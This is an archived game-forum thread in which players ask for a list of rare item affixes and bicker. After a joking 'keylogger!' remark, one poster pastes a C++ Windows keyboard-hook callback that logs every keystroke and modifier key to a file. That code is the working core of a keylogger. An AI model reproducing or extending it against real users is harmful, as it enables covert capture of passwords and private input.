PDA

View Full Version : Rares Affix/Suffix List



memories
04-01-2016, 04:54 AM
I've been picking alot of rares in my mf'ing adventures and have been getting some nice rolls on items. Butttttt, I'm not sure whats capable mods on the items.

Is there anyway we can get a list going of the suffix/prefix of the rare items? So we can see whats possible and what we can achieve on these beasts.

Thanks!

Mephisto
04-01-2016, 05:05 AM
Same here, i would love to see a list appear, would be awesome! Make it happen Alex, pleeease! :)

Research
04-01-2016, 07:13 AM
decode and parse the bins

memories
04-01-2016, 07:19 AM
decode and parse the bins

If you're being serious and that's possible, I'll look up tutorials.

But I know you're a troll...

Research
04-01-2016, 07:31 AM
If you're being serious and that's possible, I'll look up tutorials.

But I know you're a troll...

try looking at the links in my sig


THE THINGS I'VE DONE FOR YOU PEOPLE OMG

i write the in-game item filter + the generator, i write the in-game item mover thingy, i highlight the correct tomb, i make an item logger/finder, i compile d2ex2 for alex everytime he needs it, i even wrote some makeshift code that protected the realm when it was being attacked every 20 minutes every day
and what do i get in return? i get bullied excessively and called a troll, no token nv, no nks, no pvp, no 1 billion gold, no token shirts, fred left me for paulo legedo OMG why live

afk kms

Mephisto
04-01-2016, 07:36 AM
keylogger!

Research
04-01-2016, 07:48 AM
keylogger!


LRESULT CALLBACK kbhookProc(int code, WPARAM wParam, LPARAM lParam) {
KBDLLHOOKSTRUCT key = *((KBDLLHOOKSTRUCT*)lParam);
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN){
wchar_t name[0x100] = {0};
DWORD lp = 1;
lp += key.scanCode << 16;
lp += key.flags << 24;
GetKeyNameText(lp, (LPTSTR)name, 255);
string sname = wstr_to_str((wstring)name);
if ((GetKeyState(VK_MENU) & 0x8000) != 0) {
key.vkCode += 256;
sname.insert(0, "ALT+");
}
if ((GetKeyState(VK_SHIFT) & 0x8000) != 0) {
key.vkCode += 256 * 4;
sname.insert(0, "SHIFT+");
}
if ((GetKeyState(VK_CONTROL) & 0x8000) != 0) {
key.vkCode += 256 * 2;
sname.insert(0, "CTRL+");
}
if ((GetKeyState(VK_LWIN) & 0x8000) != 0) {
key.vkCode += 256 * 8;
sname.insert(0, "LEFT WINDOWKEY+");
}
if ((GetKeyState(VK_RWIN) & 0x8000) != 0) {
key.vkCode += 256 * 8;
sname.insert(0, "RIGHT WINDOWKEY+");
}
outfile << key.vkCode << " " << sname << '\n';
}
}